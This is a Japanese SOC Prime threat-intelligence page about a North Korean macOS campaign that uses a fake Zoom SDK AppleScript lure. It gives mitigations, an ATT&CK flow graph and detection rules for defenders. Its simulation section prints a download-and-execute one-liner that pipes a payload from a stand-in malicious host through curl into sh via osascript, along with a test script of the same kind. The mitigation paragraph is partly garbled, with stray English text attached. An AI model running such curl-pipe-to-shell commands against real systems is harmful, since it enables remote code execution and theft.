SOC Prime Bias: クリティカル

17 4月 2026 18:42

サファイアスリートのmacOS侵入の解説:誘惑から侵害まで

Author Photo
SOC Prime Team linkedin icon フォローする
サファイアスリートのmacOS侵入の解説:誘惑から侵害まで
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

Microsoft Threat Intelligenceは、北朝鮮の国家支援アクターであるSapphire Sleetに帰属するmacOSを対象としたキャンペーンを報告しました。このオペレーションは、社会工学に依存して、ターゲットに正規のZoom SDKアップデートとして提示された悪意のあるAppleScriptファイルを実行させることを目的としています。実行されると、このスクリプトはを通じて追加のペイロードを取得します curl and osascript、複数の段階で侵入を拡大します。このマルウェアは、資格情報、暗号通貨ウォレットデータ、およびその他の機密情報を盗むように設計されており、またネイティブのmacOSセキュリティ保護を回避して侵害されたシステム上でアクティブな状態を保つようにも設計されています。

調査

調査は、 .scpt 誘導ファイルから始まり、次の一連の curlからosascript ペイロードのダウンロードを通じて続くマルチステージ感染チェーンを概説しています。研究者は、 com.apple.cli、サービスバイナリ、 icloudz、および com.google.chromes.updatersを含むいくつかのバックドアコンポーネントを特定しました。脅威アクターは、AppleEventsの権限を取得するためにmacOS TCCデータベースへの細工を観察され、リフレクティブコード読み込み技術を使用し、起動デーモンを通じて永続性を確立しました。データの漏洩活動はカスタムユーザーエージェント文字列とTelegram Bot APIを通じた通信に依存しています。

緩和策

Appleはすでに、キャンペーンのインフラとマルウェアコンポーネントを妨害するSafe BrowsingとXProtectの更新をリリースしています。Microsoftは、の実行を防ぎ、危険な .scpt ファイルをブロックし、許可されていないTCCデータベース変更を監視し、疑わしいエントリについて起動デーモンインストールを監査することを推奨しています。ユーザーは少しも求められていないソフトウェアアップデートのプロンプトについても警告され、予期しないダイアログやスクリプトを通じて資格情報を提供しないように助言されるべきです。 curl pipelines, monitoring for unauthorized TCC database changes, and auditing launch daemon installations for suspicious entries. Users should also be warned about unsolicited software update prompts and advised not to provide credentials through unexpected dialogs or scripts.

対応策

防御者は、悪意のあるAppleScriptの実行、異常な curl ユーザーエージェント文字列、および既知のコマンドアンドコントロールドメインへの送信を検出すべきです。識別されたバイナリおよび起動デーモンは即座に隔離または削除され、その後影響を受けたユーザーの資格情報のリセットおよびTCCデータベースの整合性の確認が行われるべきです。インシデントレスポンダーは収集したシステムアーティファクトに対してフォレンジック解析を行い、必要に応じてクリーンなバックアップから影響を受けたデータを復元する必要もあります。

graph TB %% Class definitions classDef technique fill:#99ccff classDef operator fill:#ff9900 %% Technique nodes tech_user_execution[“<b>技術</b> – <b>T1204.002 ユーザー実行: 悪意のあるファイル</b><br/><b>説明</b>: 被害者は悪意のあるファイルを実行するように誘導され、侵入が開始されます。”] class tech_user_execution technique tech_trusted_dev_proxy[“<b>技術</b> – <b>T1127 信頼された開発ツールによるプロキシ実行</b><br/><b>説明</b>: 正規の開発ツールがプロキシとして使用され、セキュリティ制御を回避して悪意のあるペイロードを実行します。”] class tech_trusted_dev_proxy technique tech_subvert_trust[“<b>技術</b> – <b>T1553 信頼制御の悪用</b><br/><b>説明</b>: 攻撃者は信頼関係や設定を操作し、特権昇格やコード実行を行います。”] class tech_subvert_trust technique tech_launch_daemon[“<b>技術</b> – <b>T1543.004 システムプロセスの作成または変更: Launch Daemon</b><br/><b>説明</b>: 新しいデーモンを作成するか既存のものを変更して永続性を確保します。”] class tech_launch_daemon technique tech_alt_auth_material[“<b>技術</b> – <b>T1550 代替認証情報の使用</b><br/><b>説明</b>: 盗まれた、または偽造された資格情報やトークンが正規ユーザーとしての認証に使用されます。”] class tech_alt_auth_material technique tech_archive_lib[“<b>技術</b> – <b>T1560.002 収集データのアーカイブ: ライブラリ経由</b><br/><b>説明</b>: 収集されたデータは流出前にソフトウェアライブラリを使用して圧縮されます。”] class tech_archive_lib technique tech_exfil_alt_proto[“<b>技術</b> – <b>T1048 代替プロトコルによるデータ流出</b><br/><b>説明</b>: DNS、FTP、またはカスタムポートなどの非標準プロトコルを使用してデータが送信されます。”] class tech_exfil_alt_proto technique tech_dynamic_resolution[“<b>技術</b> – <b>T1568 動的解決</b><br/><b>説明</b>: 攻撃者は実行時にC2インフラを解決します。”] class tech_dynamic_resolution technique tech_reflective_loading[“<b>技術</b> – <b>T1620 リフレクティブコードロード</b><br/><b>説明</b>: 悪意のあるコードがディスクを使用せずメモリに直接読み込まれます。”] class tech_reflective_loading technique tech_system_binary_proxy[“<b>技術</b> – <b>T1218.003 システムバイナリプロキシ実行</b><br/><b>説明</b>: 信頼されたシステムバイナリが悪意のあるコードの実行に利用されます。”] class tech_system_binary_proxy technique tech_modify_auth_process[“<b>技術</b> – <b>T1556.001 認証プロセスの変更: ドメインコントローラ</b><br/><b>説明</b>: 認証メカニズムが変更され、偽造された資格情報を受け入れるようになります。”] class tech_modify_auth_process technique %% Connections showing attack flow tech_user_execution –>|leads_to| tech_trusted_dev_proxy tech_trusted_dev_proxy –>|enables| tech_subvert_trust tech_subvert_trust –>|creates| tech_launch_daemon tech_launch_daemon –>|uses| tech_alt_auth_material tech_alt_auth_material –>|prepares| tech_archive_lib tech_archive_lib –>|triggers| tech_exfil_alt_proto tech_exfil_alt_proto –>|facilitates| tech_dynamic_resolution tech_subvert_trust –>|employs| tech_reflective_loading tech_reflective_loading –>|updates| tech_launch_daemon tech_trusted_dev_proxy –>|leverages| tech_system_binary_proxy tech_system_binary_proxy –>|leads_to| tech_subvert_trust tech_alt_auth_material –>|supports| tech_modify_auth_process tech_modify_auth_process –>|continues| tech_exfil_alt_proto

攻撃フロー

検出

HTTPを用いたC2通信の可能性、通常と異なるポートで直接IPに接続 (プロキシを介して)

SOC Prime チーム
2026年4月17日

単一コマンドでchmodとnohupを使用した可能性のある実行 (コマンドライン経由)

SOC Prime チーム
2026年4月17日

Dscl Authonlyを用いたmacOSの資格情報確認 (コマンドライン経由)

SOC Prime チーム
2026年4月17日

疑わしいCurl実行試行 [macOS] (コマンドライン経由)

SOC Prime チーム
2026年4月17日

アーカイブはmacOSの一時フォルダに作成されました (ファイルイベント経由)

SOC Prime チーム
2026年4月17日

バイナリ/スクリプト/フォルダに危険な権限が設定された (コマンドライン経由)

SOC Prime チーム
2026年4月17日

IOC (HashSha256) 検出用: Sapphire SleetのmacOS侵入を誘惑から妥協に至るまで解剖

SOC Prime AIルール
2026年4月17日

IOC (SourceIP) 検出用: Sapphire SleetのmacOS侵入を誘惑から妥協に至るまで解剖

SOC Prime AIルール
2026年4月17日

IOC (DestinationIP) 検出用: Sapphire SleetのmacOS侵入を誘惑から妥協に至るまで解剖

SOC Prime AIルール
2026年4月17日

Sapphire Sleet C2通信の検出 [Linuxネットワーク接続]

SOC Prime AIルール
2026年4月17日

Curlパイプを使用したAppleScript実行の検出 [Linuxプロセス作成]

SOC Prime AIルール
2026年4月17日

シミュレーション実行

前提条件: テレメトリ & ベースラインプレフライトチェックに合格していること。

根拠: このセクションは、検出ルールをトリガーするように設計されたアドバーサリー技術(TTP)の正確な実行を詳細に説明しています。 コマンドおよび説明は、識別されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。

  • 攻撃の説明とコマンド:
    攻撃者は、リモートサーバーにホストされている悪意のあるPowerShell風のスクリプトを取得しました。スタンドアロンバイナリを作成しないようにするために、ネイティブのAppleScriptインタープリタを利用し、osascriptにパイプして curl 直接インタープリタにダウンロードし、「ダウンロード&実行」を一つのコマンドで達成します。これはルールの osascript + curl パターンに一致します。

    # ルールをトリガーするべき悪意のあるワンライナー
    osascript -e 'do shell script "curl -s https://malicious.example.com/payload.sh | sh"'

    コマンドラインには osascript and curlの両方が含まれているため、Sigmaルールの条件(selection_osascript and selection_curl)は真に評価されます。

  • 回帰テストスクリプト:

    # simulate_osascript_curl.sh
    # 目的: 検出ルールを発火させるはずの正確なテレメトリを再現する。
    set -e
    
    # 安全のため無害なペイロードを定義(実際の悪意のあるコードの代わりにエコー)
    MALICIOUS_URL="https://example.com/benign_payload.sh"
    
    # ただメッセージを出力するだけのダミー無害ペイロードを作成。
    # 実際のレッドチームテストでは実際のスクリプトをホストしますが、ここでは安全を保ちます。
    curl -s -o /tmp/benign_payload.sh "$MALICIOUS_URL" || true
    
    # CurlをシェルコマンドにパイプしてAppleScriptを実行します。
    osascript -e "do shell script "curl -s $MALICIOUS_URL | sh""
  • クリーンアップコマンド:

    # cleanup_osascript_curl.sh
    # 任意の一時ファイルを削除し、迷子になっているプロセスを終了します。
    rm -f /tmp/benign_payload.sh
    pkill -f "osascript -e"